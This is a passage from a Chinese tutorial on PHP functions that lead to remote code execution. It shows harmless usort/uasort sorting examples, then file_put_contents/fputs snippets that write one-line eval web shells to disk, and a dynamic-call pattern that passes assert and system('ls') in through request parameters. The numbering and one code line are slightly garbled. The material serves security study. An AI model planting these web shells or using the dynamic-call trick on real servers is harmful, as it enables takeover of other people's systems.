二、命令执行
2.1 rce中常用的php代码执行函数
2.1.8 usort() / uasort() 函数
使用用户自定义的比较函数对数组中的值进行排序。
1 usort(array &$array, callable $callback): bool
二维数组的排序就可以 配合usort()、uasort() 的使用我们的自定义排序函数。它必须接受两个参数,并且返回一个值表示哪个参数应该排在前面。
- 负数或者false意味着第一个参数应该排在第二个参数前面
- 正数或者true则表示第二个参数应该排在前面
- 如果值为0,则表示两个参数相等
例:
//usort:
<?php
function my_sort($a,$b)
{
if ($a==$b) return 0;
return ($a<$b)?-1:1;
}
$a=array(4,2,8,6);
usort($a,"my_sort");
$arrlength=count($a);
for($x=0;$x<$arrlength;$x++)
{
echo $a[$x];
echo "<br>";
}
?>
//结果:
2
4
6
8
//uasort:
<?php
function compareByMargin($aryA, $aryB){
if($aryA['margin'] == $aryB['margin']){
return 0;
}
return ($aryA['margin'] < $aryB['margin']) ? -1 : 1;
}
function sortxxx(){
$ary = array(
array('id' => 1, 'margin' => 100),
array('id' => 2, 'margin' => 300),
array('id' => 3, 'margin' => 200),
);
uasort($ary, 'compareByMargin');
}
sortxxx();
//结果:
array {
[0]=> {
["id"]=> 1
["margin"]=> 100
}
[2]=> {
["id"]=> 3
["margin"]=> 200
}
[1]=> {
["id"]=> 2
["margin"]=> 300
}
}
usort()、uasort() 的区别:
- usort() 使用用户自定义的比较函数对数组进行排序。
- uasort() 使用用户自定义的比较函数对数组按键值进行排序。
2.1.8 file_put_contents() / fputs() 函数
将⼀个字符串写入文件
file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
resource $context = ?
): int
利用方式:
//file_put_contents:
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test.php',$test);
?>
//fputs:
<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>')
3 ?>
2.1.9 动态函数构造:
利用方式:
<?php
a=assert&b=system('ls')
$_GET['a']($_GET['b']);
?>